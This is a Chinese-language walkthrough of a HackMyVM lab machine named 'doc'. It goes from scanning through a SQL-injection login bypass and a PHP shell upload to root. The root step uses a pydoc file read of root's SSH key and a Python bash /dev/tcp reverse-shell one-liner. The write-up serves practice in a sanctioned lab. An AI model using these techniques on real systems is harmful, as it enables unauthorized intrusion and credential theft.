信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~/doc]
└─# nmap -sV -p- -Pn 192.168.1.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 05:16 EDT
Nmap scan report for doc.hmv (192.168.1.102)
Host is up (0.00027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        nginx 1.18.0

80端口

存在一个网站,在源码中发现一个域名:doc.hmv,在hosts文件中添加访问,发现一个登录界面

直接搜索搭建的系统漏洞,发现可以利用sql注入或者万能密码直接进入https://www.exploit-db.com/exploits/50221

利用sql万能密码成功进入网站,于是又在网站内部发现两个上传点,两个都可以上传php文件

生成一个reverse.php上传到网站拿到shell

获取shell

上传后,复制图片链接,监听访问,直接拿到shell

拿到shell后先看html目录下有无可疑文件,之后在home目录下看有无其他用户,结果在home目录下发现一个bella用户,发现user.txt,但需要登录读取,于是寻找bella用户密码

在initialize.php中找到密码,登录成功读取flag

bella@doc:~$ cat user.txt
cat user.txt
HMVtakemydocs

提权

拿到shell后,按照老步骤,试试提权

  1. sudo -l
bella@doc:~$ sudo -l
sudo -l
Matching Defaults entries for bella on doc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bella may run the following commands on doc:
    (ALL : ALL) NOPASSWD: /usr/bin/doc

发现一个可利用命令,查看发现是二进制文件,于是利用strings查看内容

发现好像是利用python在7890端口起了一个服务,我们运行一下尝试访问

sudo /usr/bin/doc 
ss -lntup

于是我们尝试访问这个端口,但无法访问,于是我们将这个端口镜像到我们闲置的端口上,尝试访问,利用socat

socat TCP-LISTEN:8088,fork TCP4:127.0.0.1:7890 &

通过这种方式,我们成功访问这个网站

接着就有两种提权方案了

第一种 利用pydoc本身存在的文件读取漏洞,从而读取root的用户凭证问题 42988:[安全性] CVE-2021-3426:通过 pydoc -p 泄露信息:/getfile?key=path 允许读取文件系统上的任意文件 - Python 跟踪器

http://ip/getfile?key=/root/.ssh/id_rsa

利用凭证,也可以拿到root权限

chmod +x id_rsa
ssh -i id_rsa root@127.0.0.1

第二种 因为我们发现再/bella目录下开启服务后,这个网站可以看到这个目录下的py文件,于是我们可以利用reverse.py来反弹shell,因为doc是root权限,反弹后的权限就是root权限

python脚本:
import os
os.system("bash -c 'bash -i >& /dev/tcp/kali ip/7777 0>&1'")

kali: nc -lnvp 7777

随即我们点击/bella下的reverse文件,成功反弹shell

知识点

  1. sql的万能密码的使用以及文件上传反弹shell
  2. 利用socat转换端口(socat:Linux/Unix下的TCP端口转发器 | 小菜学网络 (fasionchan.com)